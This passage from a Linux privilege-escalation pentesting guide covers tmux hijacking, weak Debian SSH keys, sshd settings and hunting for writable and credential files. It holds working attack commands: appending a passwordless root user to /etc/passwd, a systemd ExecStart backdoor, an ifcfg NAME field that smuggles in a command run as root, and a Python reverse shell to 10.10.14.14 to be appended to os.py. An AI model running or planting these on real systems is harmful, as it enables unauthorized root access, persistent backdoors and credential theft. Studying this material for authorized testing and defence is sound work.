screen -dr 3350.foo #In the example of the image

tmux sessions hijacking

Apparently this was a problem with old tmux versions. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user.

List tmux sessions

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Attach to a session

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check valentine box from HTB for an example.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug. This bug caused that when creating in those OS a new ssh key only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

PasswordAuthentication: Specifies whether password authentication is allowed. The default is no.
PubkeyAuthentication: Specifies whether public key authentication is allowed. The default is yes.
PermitEmptyPasswords: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is no.

PermitRootLogin

Specifies whether root can log in using ssh, default is no. Possible values:

yes : root can login using password and private key
without-password or prohibit-password: root can only login with private key
forced-commands-only: Root can login only using privatekey cand if the commands options is specified
no : no

AuthorizedKeysFile

Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like %h , that will be replaced by the home directory. You can indicate absolute paths (starting in /) or relative paths from the users home. For example:

AuthorizedKeysFile    .ssh/authorized_keys access

That configuration will indicate that if you try to login with the private key **of the user "testusername**" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys and /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.

You need to set this option in $HOME/.ssh.config like this:

Host example.com
  ForwardAgent yes

Notice that if Host is * every time the user jumps to a different machine that host will be able to access the keys (which is a security issue).

The file /etc/ssh_config can override this options and allow or denied this configuration. The file /etc/sshd_config can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding (default is allow).

If you Forward Agent configured in an environment **[check here how to exploit it to escalate privileges**](ssh-forward-agent-exploitation.md).

Interesting Files

Profiles files

The file /etc/profile and the files under /etc/profile.d/ are scripts that are executed when a user run a new shell. Therefore, if you can write or modify any of the you can escalate privileges.

ls -l /etc/profile /etc/profile.d/

If any weird profile script is found you should check it for sensitive details.

Passwd/Shadow Files

Depending on the OS the /etc/passwd and /etc/shadow files may be using a different name or there may be a backup. Therefore it's recommended find all of hem and check if you can read them and check if there are hashes inside the files:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In some occasions you can find password hashes inside the /etc/passwd (or equivalent) file

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

First generate a password with one of the following commands.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Then add the user hacker and add the generated password.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

You can now use the su command with hacker:hacker

Alternatively you can use the following lines to add a dummy user without a password. WARNING: you might degrade the current security of the machine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd, also the /etc/shadow is renamed to /etc/spwd.db.

You should check if you can write in some sensitive file. For example, can you write to some service configuration file?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor will be executed the next time that tomcat is started.

Check Folders

The following folders may contain backups or interesting information: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probably you won't be able to read the last one but try)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Weird Location/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but no world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
      do printf "  Group $g:\n";
      find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
      done
done

Modified files in last mins

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB files

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files

fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files

Hidden files

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done

Web files

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll

Known files containing passwords

Read the code of linPEAS, it searches for several possible files that could contain passwords. Other interesting tool that you can use to do so is: LaZagne which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.

Logs

If you can read logs, you may be able to find interesting/confidential information inside of them. The more strange the log is, the more interesting will be (probably). Also, some "bad" configured (backdoored?) audit logs may allow you to record passwords inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

In order to read logs the group adm will be really helpful.

Generic Creds Search/Regex

You should also check for files containing the word "password" in it's name or inside the content, also check for IPs and emails inside logs, or hashes regexps. I'm not going to list here how to do all of this but if you are interested you can check the last checks that linpeas perform.

Writable files

Python library hijacking

If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

There is a vulnerability on logrotatethat allows a user with write permissions over a log file or any of its parent directories to make logrotatewrite a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login. So, if you have write perms over a log file or any of its parent folder, you can privesc (on most linux distributions, logrotate is executed automatically once a day as user root). Also, check if apart of /var/log there are more files being rotated.

This vulnerability affects logrotate version 3.15.1 and below

More detailed information about the vulnerability can be found in this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

You can exploit this vulnerability with logrotten.

This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Network scripts, ifcg-eth0 for example are used for network connections. The look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. Which means; everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Note the black space between Network and /bin/id)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f****

init, init.d, systemd, and rc.d

/etc/init.d contains scripts used by the System V init tools (SysVinit). This is the traditional service management package for Linux, containing the init program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in /etc/init.d are shell scripts that respond to start, stop, restart, and (when supported) reload commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in /etc/rc?.d/). (From here) Other alternative to this folder is /etc/rc.d/init.d in Redhat

/etc/init contains configuration files used by Upstart. Upstart is a young service management package championed by Ubuntu. Files in /etc/init are configuration files telling Upstart how and when to start, stop, reload the configuration, or query the status of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart. (From here)

systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From here) Files that ships in packages downloaded from distribution repository go into /usr/lib/systemd/. Modifications done by system administrator (user) go into /etc/systemd/system/.